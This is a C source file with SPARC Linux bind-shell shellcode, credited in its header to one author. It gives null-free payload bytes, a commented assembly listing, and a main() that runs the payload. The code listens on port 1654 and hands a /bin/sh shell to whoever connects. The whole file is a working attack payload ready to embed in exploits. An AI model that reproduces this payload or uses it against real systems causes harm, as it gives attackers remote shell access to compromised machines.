/*
 *  Sparc-linux bindshell code.
 *
 *  Binds to port 1654
 *
 *  inane <admin@inane.demon.co.uk>
 *
 *  No NULL bytes
 */

char shellcode[]=
  "\x94\x10\x20\x02\xd4\x23\xbf\xf4\x94\x22"
  "\xa0\x01\xd4\x23\xbf\xf8\x94\x22\xa0\x01\xd4"
  "\x23\xbf\xfc\x90\x10\x20\x01\x92\x03\xbf\xf4"
  "\x82\x10\x20\xce\x91\xd0\x20\x10\xc0\x23\xbf"
  "\xf4\xae\x15\xc0\x08\x90\x10\x26\x76\xd0\x33"
  "\xbf\xf2\x90\x10\x20\x02\xd0\x33\xbf\xf0\xee"
  "\x23\xbf\xe4\x92\x03\xbf\xf0\xd2\x23\xbf\xe8"
  "\x92\x10\x20\x10\xd2\x23\xbf\xec\x90\x10\x20"
  "\x02\x92\x03\xbf\xe4\x91\xd0\x20\x10\xee\x23"
  "\xbf\xe8\xac\x10\x20\x03\xec\x23\xbf\xec\x90"
  "\x10\x20\x04\x92\x03\xbf\xec\x91\xd0\x20\x10"
  "\xee\x23\xbf\xe4\x92\x03\xbf\xf0\xd2\x23\xbf"
  "\xe8\xaa\x10\x20\x10\xea\x23\xbf\xec\x92\x03"
  "\xbf\xe4\x90\x10\x20\x05\x91\xd0\x20\x10\x92"
  "\x1a\x40\x09\xac\x15\x80\x08\xec\x27\xbf\xf4"
  "\x82\x10\x20\x5a\x91\xd0\x20\x10\x92\x02\x60"
  "\x01\x91\xd0\x20\x10\x92\x02\x60\x01\x91\xd0"
  "\x20\x10\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f"
  "\x0b\xdc\xda\xec\x3b\xbf\xf0\xac\x03\xbf\xf0"
  "\xec\x23\xbf\xf8\xc0\x23\xbf\xfc\x90\x03\xbf"
  "\xf0\x92\x03\xbf\xf8\x94\x1a\x80\x0a\x82\x10"
  "\x20\x3b\x91\xd0\x20\x10\x81\xc7\xe0\x08\x81"
  "\xe8";


/*
    mov 2, %o2            
    st %o2, [%sp - 12]
    dec %o2
    st %o2, [%sp - 8]    
    dec %o2
    st %o2, [%sp - 4]   
    mov 1, %o0         
    add %sp, -12, %o1 
    mov 0xce, %g1    
    ta 0x10         
    clr [%sp - 12]        
    or %l7, %o0, %l7     
    or %g0, 0x676, %o0
    sth %o0, [%sp - 14]
    mov 2, %o0             
    sth %o0, [%sp - 16]
    st %l7, [%sp - 28]   
    add %sp, -16, %o1   
    st %o1, [%sp - 24]       
    mov 16, %o1        
    st %o1, [%sp - 20]
    mov 2, %o0            
    add %sp, -28, %o1    
    ta 0x10
    st %l7, [%sp - 24]  
    mov 3, %l6
    st %l6, [%sp - 20] 
    mov 4, %o0        
    add %sp, -20, %o1  
    ta 0x10
    st %l7, [%sp - 28]  
    add %sp, -16, %o1  
    st %o1, [%sp - 24]
    mov 16, %l5       
    st %l5, [%sp - 20]       
    add %sp, -28, %o1  
    mov 5, %o0        
    ta 0x10
    xor %o1, %o1, %o1   
    or %l6, %o0, %l6
    st %l6, [%fp - 12]
    mov 0x5a, %g1      
    ta 0x10 
    inc %o1           
    ta 0x10
    inc %o1          
    ta 0x10
    sethi %hi(0x2f62696e), %l6
    or %l6, %lo(0x2f62696e), %l6
    sethi %hi(0x2f7368ba), %l7
    std %l6, [%sp - 16]
    add %sp, -16, %l6
    st %l6, [%sp - 8]
    st %g0, [%sp - 4]
    add %sp, -16, %o0
    add %sp, -8, %o1
    xor %o2, %o2, %o2
    mov 0x3b, %g1
    ta 0x10
*/
main() {
  void (*a)() = (void *)shellcode;
  printf("size: %d bytes\n", strlen(shellcode));
  a();
} 
